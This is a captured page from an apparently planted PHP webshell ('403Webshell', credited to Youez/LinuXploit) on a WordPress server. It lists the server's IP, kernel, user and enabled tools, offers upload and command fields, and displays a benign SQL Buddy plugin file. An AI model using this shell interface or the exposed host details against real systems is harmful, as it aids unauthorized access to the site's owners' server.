403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/sql-buddy/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/sql-buddy/includes//Plugin.php
<?php
/**
 * Plugin initialization file.
 *
 * @package   SQL_Buddy
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://github.com/deliciousbrains/sql-buddy/
 */

namespace SQL_Buddy;

use SQL_Buddy\REST_API\Table_Controller;

/**
 * Class Plugin
 */
class Plugin {

	/**
	 * Dashboard.
	 *
	 * @var Dashboard
	 */
	public $dashboard;

	/**
	 * User Preferences class.
	 *
	 * @var User_Preferences
	 */
	public $user_preference;

	/**
	 * Initialize plugin functionality.
	 *
	 * @return void
	 */
	public function register() {
		$this->user_preference = new User_Preferences();
		add_action( 'init', array( $this->user_preference, 'register' ) );

		$this->dashboard = new Dashboard();
		add_action( 'init', array( $this->dashboard, 'init' ) );

		// REST API endpoints.
		// High priority so it runs after create_initial_rest_routes().
		add_action( 'rest_api_init', [ $this, 'register_rest_routes' ], 100 );
	}

	/**
	 * Registers REST API routes.
	 *
	 * @return void
	 */
	public function register_rest_routes() {
		$table_controller = new Table_Controller( $this->user_preference );
		$table_controller->register_routes();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit